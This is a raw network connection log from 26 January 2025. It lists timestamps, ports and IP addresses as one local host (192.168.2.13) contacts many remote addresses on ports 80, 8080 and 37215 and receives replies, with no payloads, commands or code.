Jan 26, 2025 01:43:29.601614952 CET	37215	47415	197.86.162.181	192.168.2.13
Jan 26, 2025 01:43:29.601617098 CET	47415	37215	192.168.2.13	197.187.226.234
Jan 26, 2025 01:43:29.601615906 CET	47415	37215	192.168.2.13	197.41.106.31
Jan 26, 2025 01:43:29.601620913 CET	47415	37215	192.168.2.13	197.122.151.193
Jan 26, 2025 01:43:29.601624966 CET	37215	47415	197.178.34.229	192.168.2.13
Jan 26, 2025 01:43:29.601634026 CET	37215	47415	197.205.49.198	192.168.2.13
Jan 26, 2025 01:43:29.601634026 CET	47415	37215	192.168.2.13	197.75.149.148
Jan 26, 2025 01:43:29.601644039 CET	37215	47415	197.98.38.4	192.168.2.13
Jan 26, 2025 01:43:29.601646900 CET	47415	37215	192.168.2.13	197.86.162.181
Jan 26, 2025 01:43:29.601650953 CET	47415	37215	192.168.2.13	197.178.34.229
Jan 26, 2025 01:43:29.601653099 CET	37215	47415	197.72.50.176	192.168.2.13
Jan 26, 2025 01:43:29.601661921 CET	37215	47415	197.222.212.191	192.168.2.13
Jan 26, 2025 01:43:29.601667881 CET	47415	37215	192.168.2.13	197.205.49.198
Jan 26, 2025 01:43:29.601670027 CET	37215	47415	197.255.48.66	192.168.2.13
Jan 26, 2025 01:43:29.601671934 CET	47415	37215	192.168.2.13	197.98.38.4
Jan 26, 2025 01:43:29.601680040 CET	37215	47415	197.98.39.73	192.168.2.13
Jan 26, 2025 01:43:29.601686954 CET	47415	37215	192.168.2.13	197.72.50.176
Jan 26, 2025 01:43:29.601690054 CET	47415	37215	192.168.2.13	197.222.212.191
Jan 26, 2025 01:43:29.601696014 CET	47415	37215	192.168.2.13	197.255.48.66
Jan 26, 2025 01:43:29.601706028 CET	47415	37215	192.168.2.13	197.98.39.73
Jan 26, 2025 01:43:29.662513018 CET	47562	80	192.168.2.13	95.52.124.244
Jan 26, 2025 01:43:29.662590027 CET	47562	80	192.168.2.13	95.167.119.203
Jan 26, 2025 01:43:29.662592888 CET	47562	80	192.168.2.13	95.195.54.164
Jan 26, 2025 01:43:29.662612915 CET	47562	80	192.168.2.13	95.90.79.245
Jan 26, 2025 01:43:29.662630081 CET	47562	80	192.168.2.13	95.226.172.129
Jan 26, 2025 01:43:29.662656069 CET	47562	80	192.168.2.13	95.14.30.220
Jan 26, 2025 01:43:29.662672043 CET	47562	80	192.168.2.13	95.80.141.230
Jan 26, 2025 01:43:29.662672997 CET	47562	80	192.168.2.13	95.188.234.47
Jan 26, 2025 01:43:29.662683964 CET	47562	80	192.168.2.13	95.216.110.199
Jan 26, 2025 01:43:29.662692070 CET	47562	80	192.168.2.13	95.28.200.22
Jan 26, 2025 01:43:29.662719011 CET	47562	80	192.168.2.13	95.179.94.27
Jan 26, 2025 01:43:29.662727118 CET	47562	80	192.168.2.13	95.238.169.173
Jan 26, 2025 01:43:29.662733078 CET	47562	80	192.168.2.13	95.0.96.253
Jan 26, 2025 01:43:29.662764072 CET	47562	80	192.168.2.13	95.16.31.177
Jan 26, 2025 01:43:29.662782907 CET	47562	80	192.168.2.13	95.94.250.224
Jan 26, 2025 01:43:29.662815094 CET	47562	80	192.168.2.13	95.203.116.57
Jan 26, 2025 01:43:29.662834883 CET	47562	80	192.168.2.13	95.149.17.221
Jan 26, 2025 01:43:29.662834883 CET	47562	80	192.168.2.13	95.2.67.231
Jan 26, 2025 01:43:29.662843943 CET	47562	80	192.168.2.13	95.37.30.205
Jan 26, 2025 01:43:29.662858963 CET	47562	80	192.168.2.13	95.195.96.182
Jan 26, 2025 01:43:29.662873030 CET	47562	80	192.168.2.13	95.9.63.185
Jan 26, 2025 01:43:29.662887096 CET	47562	80	192.168.2.13	95.206.15.11
Jan 26, 2025 01:43:29.662904024 CET	47562	80	192.168.2.13	95.6.34.230
Jan 26, 2025 01:43:29.662915945 CET	47562	80	192.168.2.13	95.107.212.128
Jan 26, 2025 01:43:29.662935019 CET	47562	80	192.168.2.13	95.188.76.123
Jan 26, 2025 01:43:29.662955999 CET	47562	80	192.168.2.13	95.62.11.187
Jan 26, 2025 01:43:29.662964106 CET	47562	80	192.168.2.13	95.188.219.245
Jan 26, 2025 01:43:29.662976027 CET	47562	80	192.168.2.13	95.136.40.238
Jan 26, 2025 01:43:29.662986994 CET	47562	80	192.168.2.13	95.229.186.64
Jan 26, 2025 01:43:29.663002968 CET	47562	80	192.168.2.13	95.227.234.66
Jan 26, 2025 01:43:29.663017988 CET	47562	80	192.168.2.13	95.86.88.195
Jan 26, 2025 01:43:29.663032055 CET	47562	80	192.168.2.13	95.231.203.97
Jan 26, 2025 01:43:29.663048029 CET	47562	80	192.168.2.13	95.58.89.244
Jan 26, 2025 01:43:29.663062096 CET	47562	80	192.168.2.13	95.4.40.214
Jan 26, 2025 01:43:29.663075924 CET	47562	80	192.168.2.13	95.106.74.180
Jan 26, 2025 01:43:29.663093090 CET	47562	80	192.168.2.13	95.21.30.214
Jan 26, 2025 01:43:29.663105011 CET	47562	80	192.168.2.13	95.45.34.87
Jan 26, 2025 01:43:29.663124084 CET	47562	80	192.168.2.13	95.52.122.58
Jan 26, 2025 01:43:29.663132906 CET	47562	80	192.168.2.13	95.17.56.58
Jan 26, 2025 01:43:29.663147926 CET	47562	80	192.168.2.13	95.125.79.136
Jan 26, 2025 01:43:29.663161039 CET	47562	80	192.168.2.13	95.10.99.184
Jan 26, 2025 01:43:29.663172007 CET	47562	80	192.168.2.13	95.17.228.204
Jan 26, 2025 01:43:29.663188934 CET	47562	80	192.168.2.13	95.20.203.110
Jan 26, 2025 01:43:29.663216114 CET	47562	80	192.168.2.13	95.19.214.46
Jan 26, 2025 01:43:29.663223028 CET	47562	80	192.168.2.13	95.12.54.231
Jan 26, 2025 01:43:29.663243055 CET	47562	80	192.168.2.13	95.103.223.101
Jan 26, 2025 01:43:29.663254976 CET	47562	80	192.168.2.13	95.204.218.126
Jan 26, 2025 01:43:29.663273096 CET	47562	80	192.168.2.13	95.213.69.122
Jan 26, 2025 01:43:29.663280010 CET	47562	80	192.168.2.13	95.221.224.46
Jan 26, 2025 01:43:29.663290977 CET	47562	80	192.168.2.13	95.238.236.77
Jan 26, 2025 01:43:29.663306952 CET	47562	80	192.168.2.13	95.23.117.89
Jan 26, 2025 01:43:29.663321018 CET	47562	80	192.168.2.13	95.190.142.222
Jan 26, 2025 01:43:29.663331032 CET	47562	80	192.168.2.13	95.203.2.238
Jan 26, 2025 01:43:29.663348913 CET	47562	80	192.168.2.13	95.27.39.89
Jan 26, 2025 01:43:29.663367987 CET	47562	80	192.168.2.13	95.227.152.120
Jan 26, 2025 01:43:29.663386106 CET	47562	80	192.168.2.13	95.147.6.93
Jan 26, 2025 01:43:29.663405895 CET	47562	80	192.168.2.13	95.193.143.88
Jan 26, 2025 01:43:29.663419962 CET	47562	80	192.168.2.13	95.171.9.26
Jan 26, 2025 01:43:29.663431883 CET	47562	80	192.168.2.13	95.0.89.161
Jan 26, 2025 01:43:29.663441896 CET	47562	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:29.663455963 CET	47562	80	192.168.2.13	95.61.168.188
Jan 26, 2025 01:43:29.663469076 CET	47562	80	192.168.2.13	95.164.86.72
Jan 26, 2025 01:43:29.663487911 CET	47562	80	192.168.2.13	95.65.144.178
Jan 26, 2025 01:43:29.663506985 CET	47562	80	192.168.2.13	95.17.140.187
Jan 26, 2025 01:43:29.663515091 CET	47562	80	192.168.2.13	95.9.14.226
Jan 26, 2025 01:43:29.663528919 CET	47562	80	192.168.2.13	95.250.132.221
Jan 26, 2025 01:43:29.663547993 CET	47562	80	192.168.2.13	95.84.93.5
Jan 26, 2025 01:43:29.663573980 CET	47562	80	192.168.2.13	95.199.254.18
Jan 26, 2025 01:43:29.663592100 CET	47562	80	192.168.2.13	95.167.94.12
Jan 26, 2025 01:43:29.663605928 CET	47562	80	192.168.2.13	95.37.127.134
Jan 26, 2025 01:43:29.663616896 CET	47562	80	192.168.2.13	95.244.190.219
Jan 26, 2025 01:43:29.663640976 CET	47562	80	192.168.2.13	95.138.51.12
Jan 26, 2025 01:43:29.663651943 CET	47562	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:29.663664103 CET	47562	80	192.168.2.13	95.134.233.175
Jan 26, 2025 01:43:29.663681984 CET	47562	80	192.168.2.13	95.248.12.82
Jan 26, 2025 01:43:29.663695097 CET	47562	80	192.168.2.13	95.26.98.137
Jan 26, 2025 01:43:29.663713932 CET	47562	80	192.168.2.13	95.72.68.249
Jan 26, 2025 01:43:29.663724899 CET	47562	80	192.168.2.13	95.24.53.87
Jan 26, 2025 01:43:29.663734913 CET	47562	80	192.168.2.13	95.206.219.190
Jan 26, 2025 01:43:29.663749933 CET	47562	80	192.168.2.13	95.48.58.95
Jan 26, 2025 01:43:29.663764954 CET	47562	80	192.168.2.13	95.192.131.94
Jan 26, 2025 01:43:29.663777113 CET	47562	80	192.168.2.13	95.29.233.228
Jan 26, 2025 01:43:29.663806915 CET	47562	80	192.168.2.13	95.135.9.203
Jan 26, 2025 01:43:29.663806915 CET	47562	80	192.168.2.13	95.100.236.194
Jan 26, 2025 01:43:29.663825989 CET	47562	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:29.663830042 CET	47562	80	192.168.2.13	95.0.135.121
Jan 26, 2025 01:43:29.663860083 CET	47562	80	192.168.2.13	95.99.51.140
Jan 26, 2025 01:43:29.663868904 CET	47562	80	192.168.2.13	95.234.201.85
Jan 26, 2025 01:43:29.663876057 CET	47562	80	192.168.2.13	95.52.16.78
Jan 26, 2025 01:43:29.663886070 CET	47562	80	192.168.2.13	95.102.86.56
Jan 26, 2025 01:43:29.663917065 CET	47562	80	192.168.2.13	95.230.186.198
Jan 26, 2025 01:43:29.663928986 CET	47562	80	192.168.2.13	95.156.183.245
Jan 26, 2025 01:43:29.663948059 CET	47562	80	192.168.2.13	95.108.183.50
Jan 26, 2025 01:43:29.663952112 CET	47562	80	192.168.2.13	95.152.159.47
Jan 26, 2025 01:43:29.663958073 CET	47562	80	192.168.2.13	95.205.20.148
Jan 26, 2025 01:43:29.663974047 CET	47562	80	192.168.2.13	95.91.65.111
Jan 26, 2025 01:43:29.663983107 CET	47562	80	192.168.2.13	95.192.161.253
Jan 26, 2025 01:43:29.663996935 CET	47562	80	192.168.2.13	95.88.190.166
Jan 26, 2025 01:43:29.664014101 CET	47562	80	192.168.2.13	95.69.54.205
Jan 26, 2025 01:43:29.664022923 CET	47562	80	192.168.2.13	95.124.121.103
Jan 26, 2025 01:43:29.664036036 CET	47562	80	192.168.2.13	95.91.92.144
Jan 26, 2025 01:43:29.664062977 CET	47562	80	192.168.2.13	95.137.4.152
Jan 26, 2025 01:43:29.664062977 CET	47562	80	192.168.2.13	95.114.45.33
Jan 26, 2025 01:43:29.664088011 CET	47562	80	192.168.2.13	95.255.31.254
Jan 26, 2025 01:43:29.664110899 CET	47562	80	192.168.2.13	95.133.209.227
Jan 26, 2025 01:43:29.664130926 CET	47562	80	192.168.2.13	95.21.157.0
Jan 26, 2025 01:43:29.664159060 CET	47562	80	192.168.2.13	95.103.245.236
Jan 26, 2025 01:43:29.664159060 CET	47562	80	192.168.2.13	95.217.180.253
Jan 26, 2025 01:43:29.664170027 CET	47562	80	192.168.2.13	95.168.4.212
Jan 26, 2025 01:43:29.664191008 CET	47562	80	192.168.2.13	95.40.136.67
Jan 26, 2025 01:43:29.664205074 CET	47562	80	192.168.2.13	95.34.45.233
Jan 26, 2025 01:43:29.664227962 CET	47562	80	192.168.2.13	95.161.115.91
Jan 26, 2025 01:43:29.664242029 CET	47562	80	192.168.2.13	95.75.151.188
Jan 26, 2025 01:43:29.664256096 CET	47562	80	192.168.2.13	95.47.224.193
Jan 26, 2025 01:43:29.664278984 CET	47562	80	192.168.2.13	95.177.253.80
Jan 26, 2025 01:43:29.664307117 CET	47562	80	192.168.2.13	95.48.32.17
Jan 26, 2025 01:43:29.664309025 CET	47562	80	192.168.2.13	95.38.212.25
Jan 26, 2025 01:43:29.664321899 CET	47562	80	192.168.2.13	95.67.13.251
Jan 26, 2025 01:43:29.664336920 CET	47562	80	192.168.2.13	95.111.127.45
Jan 26, 2025 01:43:29.664343119 CET	47562	80	192.168.2.13	95.37.177.156
Jan 26, 2025 01:43:29.664360046 CET	47562	80	192.168.2.13	95.48.55.222
Jan 26, 2025 01:43:29.664364100 CET	47562	80	192.168.2.13	95.123.127.118
Jan 26, 2025 01:43:29.664390087 CET	47562	80	192.168.2.13	95.19.56.47
Jan 26, 2025 01:43:29.664402008 CET	47562	80	192.168.2.13	95.120.134.77
Jan 26, 2025 01:43:29.664422035 CET	47562	80	192.168.2.13	95.180.168.54
Jan 26, 2025 01:43:29.664433956 CET	47562	80	192.168.2.13	95.171.206.124
Jan 26, 2025 01:43:29.664450884 CET	47562	80	192.168.2.13	95.146.243.156
Jan 26, 2025 01:43:29.664455891 CET	47562	80	192.168.2.13	95.54.85.104
Jan 26, 2025 01:43:29.664474964 CET	47562	80	192.168.2.13	95.132.78.242
Jan 26, 2025 01:43:29.664490938 CET	47562	80	192.168.2.13	95.162.187.148
Jan 26, 2025 01:43:29.664519072 CET	47562	80	192.168.2.13	95.156.65.183
Jan 26, 2025 01:43:29.664520979 CET	47562	80	192.168.2.13	95.13.112.234
Jan 26, 2025 01:43:29.664551020 CET	47562	80	192.168.2.13	95.108.160.90
Jan 26, 2025 01:43:29.664565086 CET	47562	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:29.664582014 CET	47562	80	192.168.2.13	95.127.219.12
Jan 26, 2025 01:43:29.664602995 CET	47562	80	192.168.2.13	95.190.121.58
Jan 26, 2025 01:43:29.664618969 CET	47562	80	192.168.2.13	95.172.130.157
Jan 26, 2025 01:43:29.664621115 CET	47562	80	192.168.2.13	95.207.87.239
Jan 26, 2025 01:43:29.664633989 CET	47562	80	192.168.2.13	95.75.127.129
Jan 26, 2025 01:43:29.664644957 CET	47562	80	192.168.2.13	95.108.162.157
Jan 26, 2025 01:43:29.664663076 CET	47562	80	192.168.2.13	95.71.238.81
Jan 26, 2025 01:43:29.664684057 CET	47562	80	192.168.2.13	95.80.67.70
Jan 26, 2025 01:43:29.664696932 CET	47562	80	192.168.2.13	95.54.132.164
Jan 26, 2025 01:43:29.664707899 CET	47562	80	192.168.2.13	95.50.24.243
Jan 26, 2025 01:43:29.664721966 CET	47562	80	192.168.2.13	95.184.198.146
Jan 26, 2025 01:43:29.664733887 CET	47562	80	192.168.2.13	95.152.204.44
Jan 26, 2025 01:43:29.664752007 CET	47562	80	192.168.2.13	95.127.98.132
Jan 26, 2025 01:43:29.664777040 CET	47562	80	192.168.2.13	95.83.34.203
Jan 26, 2025 01:43:29.664777040 CET	47562	80	192.168.2.13	95.101.62.226
Jan 26, 2025 01:43:29.664791107 CET	47562	80	192.168.2.13	95.144.223.209
Jan 26, 2025 01:43:29.664814949 CET	47562	80	192.168.2.13	95.52.19.210
Jan 26, 2025 01:43:29.664825916 CET	47562	80	192.168.2.13	95.207.244.27
Jan 26, 2025 01:43:29.664825916 CET	47562	80	192.168.2.13	95.45.239.207
Jan 26, 2025 01:43:29.664845943 CET	47562	80	192.168.2.13	95.250.101.124
Jan 26, 2025 01:43:29.664859056 CET	47562	80	192.168.2.13	95.100.81.167
Jan 26, 2025 01:43:29.664874077 CET	47562	80	192.168.2.13	95.4.185.241
Jan 26, 2025 01:43:29.664885998 CET	47562	80	192.168.2.13	95.20.96.197
Jan 26, 2025 01:43:29.664900064 CET	47562	80	192.168.2.13	95.20.198.185
Jan 26, 2025 01:43:29.664915085 CET	47562	80	192.168.2.13	95.49.157.87
Jan 26, 2025 01:43:29.664932966 CET	47562	80	192.168.2.13	95.43.168.99
Jan 26, 2025 01:43:29.667391062 CET	80	47562	95.52.124.244	192.168.2.13
Jan 26, 2025 01:43:29.667403936 CET	80	47562	95.90.79.245	192.168.2.13
Jan 26, 2025 01:43:29.667413950 CET	80	47562	95.195.54.164	192.168.2.13
Jan 26, 2025 01:43:29.667444944 CET	47562	80	192.168.2.13	95.52.124.244
Jan 26, 2025 01:43:29.667444944 CET	47562	80	192.168.2.13	95.90.79.245
Jan 26, 2025 01:43:29.667448997 CET	47562	80	192.168.2.13	95.195.54.164
Jan 26, 2025 01:43:29.667532921 CET	80	47562	95.167.119.203	192.168.2.13
Jan 26, 2025 01:43:29.667543888 CET	80	47562	95.226.172.129	192.168.2.13
Jan 26, 2025 01:43:29.667552948 CET	80	47562	95.14.30.220	192.168.2.13
Jan 26, 2025 01:43:29.667562962 CET	80	47562	95.188.234.47	192.168.2.13
Jan 26, 2025 01:43:29.667572021 CET	47562	80	192.168.2.13	95.167.119.203
Jan 26, 2025 01:43:29.667572975 CET	80	47562	95.28.200.22	192.168.2.13
Jan 26, 2025 01:43:29.667572021 CET	47562	80	192.168.2.13	95.226.172.129
Jan 26, 2025 01:43:29.667597055 CET	47562	80	192.168.2.13	95.188.234.47
Jan 26, 2025 01:43:29.667601109 CET	47562	80	192.168.2.13	95.14.30.220
Jan 26, 2025 01:43:29.667601109 CET	47562	80	192.168.2.13	95.28.200.22
Jan 26, 2025 01:43:29.667810917 CET	80	47562	95.80.141.230	192.168.2.13
Jan 26, 2025 01:43:29.667840004 CET	80	47562	95.216.110.199	192.168.2.13
Jan 26, 2025 01:43:29.667850018 CET	80	47562	95.179.94.27	192.168.2.13
Jan 26, 2025 01:43:29.667860031 CET	80	47562	95.238.169.173	192.168.2.13
Jan 26, 2025 01:43:29.667869091 CET	80	47562	95.0.96.253	192.168.2.13
Jan 26, 2025 01:43:29.667870045 CET	47562	80	192.168.2.13	95.80.141.230
Jan 26, 2025 01:43:29.667886972 CET	47562	80	192.168.2.13	95.0.96.253
Jan 26, 2025 01:43:29.667887926 CET	80	47562	95.16.31.177	192.168.2.13
Jan 26, 2025 01:43:29.667889118 CET	47562	80	192.168.2.13	95.238.169.173
Jan 26, 2025 01:43:29.667889118 CET	47562	80	192.168.2.13	95.216.110.199
Jan 26, 2025 01:43:29.667889118 CET	47562	80	192.168.2.13	95.179.94.27
Jan 26, 2025 01:43:29.667898893 CET	80	47562	95.94.250.224	192.168.2.13
Jan 26, 2025 01:43:29.667907953 CET	80	47562	95.203.116.57	192.168.2.13
Jan 26, 2025 01:43:29.667916059 CET	47562	80	192.168.2.13	95.16.31.177
Jan 26, 2025 01:43:29.667918921 CET	80	47562	95.149.17.221	192.168.2.13
Jan 26, 2025 01:43:29.667924881 CET	47562	80	192.168.2.13	95.94.250.224
Jan 26, 2025 01:43:29.667934895 CET	80	47562	95.37.30.205	192.168.2.13
Jan 26, 2025 01:43:29.667936087 CET	47562	80	192.168.2.13	95.203.116.57
Jan 26, 2025 01:43:29.667943954 CET	80	47562	95.2.67.231	192.168.2.13
Jan 26, 2025 01:43:29.667953014 CET	80	47562	95.195.96.182	192.168.2.13
Jan 26, 2025 01:43:29.667958021 CET	47562	80	192.168.2.13	95.37.30.205
Jan 26, 2025 01:43:29.667960882 CET	47562	80	192.168.2.13	95.149.17.221
Jan 26, 2025 01:43:29.667963028 CET	80	47562	95.9.63.185	192.168.2.13
Jan 26, 2025 01:43:29.667973042 CET	80	47562	95.206.15.11	192.168.2.13
Jan 26, 2025 01:43:29.667980909 CET	47562	80	192.168.2.13	95.195.96.182
Jan 26, 2025 01:43:29.667980909 CET	80	47562	95.6.34.230	192.168.2.13
Jan 26, 2025 01:43:29.667984009 CET	47562	80	192.168.2.13	95.2.67.231
Jan 26, 2025 01:43:29.667984009 CET	47562	80	192.168.2.13	95.9.63.185
Jan 26, 2025 01:43:29.667989969 CET	80	47562	95.107.212.128	192.168.2.13
Jan 26, 2025 01:43:29.667999983 CET	80	47562	95.188.76.123	192.168.2.13
Jan 26, 2025 01:43:29.667999983 CET	47562	80	192.168.2.13	95.206.15.11
Jan 26, 2025 01:43:29.668006897 CET	47562	80	192.168.2.13	95.6.34.230
Jan 26, 2025 01:43:29.668009043 CET	80	47562	95.62.11.187	192.168.2.13
Jan 26, 2025 01:43:29.668024063 CET	47562	80	192.168.2.13	95.188.76.123
Jan 26, 2025 01:43:29.668026924 CET	47562	80	192.168.2.13	95.107.212.128
Jan 26, 2025 01:43:29.668039083 CET	47562	80	192.168.2.13	95.62.11.187
Jan 26, 2025 01:43:29.668081045 CET	47566	8080	192.168.2.13	95.201.184.189
Jan 26, 2025 01:43:29.668312073 CET	80	47562	95.188.219.245	192.168.2.13
Jan 26, 2025 01:43:29.668323994 CET	80	47562	95.136.40.238	192.168.2.13
Jan 26, 2025 01:43:29.668356895 CET	47562	80	192.168.2.13	95.136.40.238
Jan 26, 2025 01:43:29.668365955 CET	47562	80	192.168.2.13	95.188.219.245
Jan 26, 2025 01:43:29.668431997 CET	80	47562	95.229.186.64	192.168.2.13
Jan 26, 2025 01:43:29.668442011 CET	80	47562	95.227.234.66	192.168.2.13
Jan 26, 2025 01:43:29.668452024 CET	80	47562	95.86.88.195	192.168.2.13
Jan 26, 2025 01:43:29.668461084 CET	80	47562	95.231.203.97	192.168.2.13
Jan 26, 2025 01:43:29.668466091 CET	47562	80	192.168.2.13	95.229.186.64
Jan 26, 2025 01:43:29.668467045 CET	47562	80	192.168.2.13	95.227.234.66
Jan 26, 2025 01:43:29.668469906 CET	80	47562	95.58.89.244	192.168.2.13
Jan 26, 2025 01:43:29.668478966 CET	47562	80	192.168.2.13	95.86.88.195
Jan 26, 2025 01:43:29.668483019 CET	80	47562	95.4.40.214	192.168.2.13
Jan 26, 2025 01:43:29.668484926 CET	47562	80	192.168.2.13	95.231.203.97
Jan 26, 2025 01:43:29.668492079 CET	80	47562	95.106.74.180	192.168.2.13
Jan 26, 2025 01:43:29.668495893 CET	47562	80	192.168.2.13	95.58.89.244
Jan 26, 2025 01:43:29.668503046 CET	80	47562	95.21.30.214	192.168.2.13
Jan 26, 2025 01:43:29.668508053 CET	47562	80	192.168.2.13	95.4.40.214
Jan 26, 2025 01:43:29.668512106 CET	80	47562	95.45.34.87	192.168.2.13
Jan 26, 2025 01:43:29.668519974 CET	47562	80	192.168.2.13	95.106.74.180
Jan 26, 2025 01:43:29.668520927 CET	80	47562	95.52.122.58	192.168.2.13
Jan 26, 2025 01:43:29.668524027 CET	47562	80	192.168.2.13	95.21.30.214
Jan 26, 2025 01:43:29.668530941 CET	80	47562	95.17.56.58	192.168.2.13
Jan 26, 2025 01:43:29.668549061 CET	80	47562	95.125.79.136	192.168.2.13
Jan 26, 2025 01:43:29.668554068 CET	80	47562	95.10.99.184	192.168.2.13
Jan 26, 2025 01:43:29.668557882 CET	80	47562	95.17.228.204	192.168.2.13
Jan 26, 2025 01:43:29.668565989 CET	80	47562	95.20.203.110	192.168.2.13
Jan 26, 2025 01:43:29.668575048 CET	80	47562	95.19.214.46	192.168.2.13
Jan 26, 2025 01:43:29.668584108 CET	80	47562	95.12.54.231	192.168.2.13
Jan 26, 2025 01:43:29.668584108 CET	47562	80	192.168.2.13	95.17.228.204
Jan 26, 2025 01:43:29.668590069 CET	47562	80	192.168.2.13	95.125.79.136
Jan 26, 2025 01:43:29.668591022 CET	47562	80	192.168.2.13	95.10.99.184
Jan 26, 2025 01:43:29.668593884 CET	47562	80	192.168.2.13	95.52.122.58
Jan 26, 2025 01:43:29.668595076 CET	80	47562	95.103.223.101	192.168.2.13
Jan 26, 2025 01:43:29.668602943 CET	47562	80	192.168.2.13	95.19.214.46
Jan 26, 2025 01:43:29.668605089 CET	80	47562	95.204.218.126	192.168.2.13
Jan 26, 2025 01:43:29.668606043 CET	47562	80	192.168.2.13	95.12.54.231
Jan 26, 2025 01:43:29.668611050 CET	47562	80	192.168.2.13	95.17.56.58
Jan 26, 2025 01:43:29.668611050 CET	47562	80	192.168.2.13	95.45.34.87
Jan 26, 2025 01:43:29.668611050 CET	47562	80	192.168.2.13	95.20.203.110
Jan 26, 2025 01:43:29.668613911 CET	80	47562	95.213.69.122	192.168.2.13
Jan 26, 2025 01:43:29.668622971 CET	80	47562	95.221.224.46	192.168.2.13
Jan 26, 2025 01:43:29.668625116 CET	47562	80	192.168.2.13	95.103.223.101
Jan 26, 2025 01:43:29.668632984 CET	80	47562	95.238.236.77	192.168.2.13
Jan 26, 2025 01:43:29.668632984 CET	47562	80	192.168.2.13	95.204.218.126
Jan 26, 2025 01:43:29.668641090 CET	47562	80	192.168.2.13	95.213.69.122
Jan 26, 2025 01:43:29.668641090 CET	80	47562	95.23.117.89	192.168.2.13
Jan 26, 2025 01:43:29.668652058 CET	80	47562	95.190.142.222	192.168.2.13
Jan 26, 2025 01:43:29.668652058 CET	47562	80	192.168.2.13	95.221.224.46
Jan 26, 2025 01:43:29.668654919 CET	47562	80	192.168.2.13	95.238.236.77
Jan 26, 2025 01:43:29.668656111 CET	80	47562	95.203.2.238	192.168.2.13
Jan 26, 2025 01:43:29.668677092 CET	47562	80	192.168.2.13	95.190.142.222
Jan 26, 2025 01:43:29.668678999 CET	47562	80	192.168.2.13	95.23.117.89
Jan 26, 2025 01:43:29.668678999 CET	47562	80	192.168.2.13	95.203.2.238
Jan 26, 2025 01:43:29.669034958 CET	80	47562	95.27.39.89	192.168.2.13
Jan 26, 2025 01:43:29.669044971 CET	80	47562	95.227.152.120	192.168.2.13
Jan 26, 2025 01:43:29.669048071 CET	47566	8080	192.168.2.13	31.234.62.164
Jan 26, 2025 01:43:29.669054031 CET	80	47562	95.147.6.93	192.168.2.13
Jan 26, 2025 01:43:29.669063091 CET	80	47562	95.193.143.88	192.168.2.13
Jan 26, 2025 01:43:29.669064045 CET	47562	80	192.168.2.13	95.227.152.120
Jan 26, 2025 01:43:29.669068098 CET	47562	80	192.168.2.13	95.27.39.89
Jan 26, 2025 01:43:29.669071913 CET	80	47562	95.171.9.26	192.168.2.13
Jan 26, 2025 01:43:29.669073105 CET	47566	8080	192.168.2.13	62.167.119.203
Jan 26, 2025 01:43:29.669075966 CET	47562	80	192.168.2.13	95.147.6.93
Jan 26, 2025 01:43:29.669081926 CET	80	47562	95.0.89.161	192.168.2.13
Jan 26, 2025 01:43:29.669087887 CET	47562	80	192.168.2.13	95.171.9.26
Jan 26, 2025 01:43:29.669087887 CET	47562	80	192.168.2.13	95.193.143.88
Jan 26, 2025 01:43:29.669091940 CET	80	47562	95.252.5.214	192.168.2.13
Jan 26, 2025 01:43:29.669101000 CET	80	47562	95.61.168.188	192.168.2.13
Jan 26, 2025 01:43:29.669110060 CET	80	47562	95.164.86.72	192.168.2.13
Jan 26, 2025 01:43:29.669116020 CET	47562	80	192.168.2.13	95.0.89.161
Jan 26, 2025 01:43:29.669116974 CET	47566	8080	192.168.2.13	94.229.145.146
Jan 26, 2025 01:43:29.669120073 CET	80	47562	95.65.144.178	192.168.2.13
Jan 26, 2025 01:43:29.669120073 CET	47562	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:29.669131041 CET	80	47562	95.17.140.187	192.168.2.13
Jan 26, 2025 01:43:29.669136047 CET	47562	80	192.168.2.13	95.61.168.188
Jan 26, 2025 01:43:29.669142962 CET	47562	80	192.168.2.13	95.164.86.72
Jan 26, 2025 01:43:29.669142962 CET	47562	80	192.168.2.13	95.65.144.178
Jan 26, 2025 01:43:29.669150114 CET	80	47562	95.9.14.226	192.168.2.13
Jan 26, 2025 01:43:29.669158936 CET	47562	80	192.168.2.13	95.17.140.187
Jan 26, 2025 01:43:29.669159889 CET	80	47562	95.250.132.221	192.168.2.13
Jan 26, 2025 01:43:29.669167995 CET	80	47562	95.84.93.5	192.168.2.13
Jan 26, 2025 01:43:29.669177055 CET	80	47562	95.199.254.18	192.168.2.13
Jan 26, 2025 01:43:29.669186115 CET	80	47562	95.167.94.12	192.168.2.13
Jan 26, 2025 01:43:29.669193983 CET	80	47562	95.37.127.134	192.168.2.13
Jan 26, 2025 01:43:29.669203997 CET	80	47562	95.244.190.219	192.168.2.13
Jan 26, 2025 01:43:29.669212103 CET	80	47562	95.138.51.12	192.168.2.13
Jan 26, 2025 01:43:29.669220924 CET	80	47562	95.190.87.34	192.168.2.13
Jan 26, 2025 01:43:29.669226885 CET	47562	80	192.168.2.13	95.9.14.226
Jan 26, 2025 01:43:29.669226885 CET	47562	80	192.168.2.13	95.244.190.219
Jan 26, 2025 01:43:29.669229031 CET	80	47562	95.134.233.175	192.168.2.13
Jan 26, 2025 01:43:29.669229031 CET	47566	8080	192.168.2.13	95.11.245.169
Jan 26, 2025 01:43:29.669229031 CET	47562	80	192.168.2.13	95.250.132.221
Jan 26, 2025 01:43:29.669239044 CET	80	47562	95.248.12.82	192.168.2.13
Jan 26, 2025 01:43:29.669239044 CET	47562	80	192.168.2.13	95.84.93.5
Jan 26, 2025 01:43:29.669239044 CET	47562	80	192.168.2.13	95.138.51.12
Jan 26, 2025 01:43:29.669239998 CET	47562	80	192.168.2.13	95.199.254.18
Jan 26, 2025 01:43:29.669239998 CET	47566	8080	192.168.2.13	94.148.78.123
Jan 26, 2025 01:43:29.669239998 CET	47562	80	192.168.2.13	95.167.94.12
Jan 26, 2025 01:43:29.669239998 CET	47566	8080	192.168.2.13	31.6.7.155
Jan 26, 2025 01:43:29.669248104 CET	80	47562	95.26.98.137	192.168.2.13
Jan 26, 2025 01:43:29.669255972 CET	47566	8080	192.168.2.13	62.226.105.232
Jan 26, 2025 01:43:29.669255972 CET	47562	80	192.168.2.13	95.37.127.134
Jan 26, 2025 01:43:29.669256926 CET	47562	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:29.669256926 CET	47562	80	192.168.2.13	95.134.233.175
Jan 26, 2025 01:43:29.669256926 CET	80	47562	95.72.68.249	192.168.2.13
Jan 26, 2025 01:43:29.669264078 CET	47566	8080	192.168.2.13	62.253.121.47
